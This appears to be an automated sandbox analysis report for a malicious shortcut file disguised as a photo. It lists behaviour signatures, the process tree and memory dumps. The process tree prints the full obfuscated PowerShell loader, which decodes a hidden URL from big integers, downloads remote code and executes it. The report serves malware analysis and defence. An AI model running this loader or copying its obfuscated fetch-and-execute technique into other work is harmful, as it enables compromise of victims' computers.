Analysis
- max time kernel
149s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 09:37
General
- Target photov_823417553540.lnk
- Size 1KB
- Sample260727-lls3baac63
- SHA256 3a1aadcb67d1c15ada4d692d756bdce7433b3d0afb489d977e07dc05893cba1b
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_823417553540.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$iblb_v0=87;$y05f9z=[bigint]::Parse('755487137172689027031779829732106597579783');$v_mnpg_snu=[bigint]::Parse('755329969485548614032686279563700472630416');$y05f9z=$y05f9z-$v_mnpg_snu;$j3o9lc=@();while($y05f9z -gt 0){$j3o9lc+=[char][int]([bigint]::Remainder($y05f9z,256));$y05f9z=[bigint]::Divide($y05f9z,256)};.([scriptblock]::Create((irm(-join$j3o9lc))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$iblb_v0=87;$y05f9z=[bigint]::Parse('755487137172689027031779829732106597579783');$v_mnpg_snu=[bigint]::Parse('755329969485548614032686279563700472630416');$y05f9z=$y05f9z-$v_mnpg_snu;$j3o9lc=@();while($y05f9z -gt 0){$j3o9lc+=[char][int]([bigint]::Remainder($y05f9z,256));$y05f9z=[bigint]::Divide($y05f9z,256)};.([scriptblock]::Create((irm(-join$j3o9lc))))"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2796-0-0x00007FF805F9F000-0x00007FF805FA0000-memory.dmp
memory/2796-1-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-4-0x00000225EF0A0000-0x00000225EF0C2000-memory.dmp
memory/2796-5-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-6-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-7-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-8-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-9-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-10-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-11-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-12-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-13-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-14-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-15-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-16-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp
memory/2796-18-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp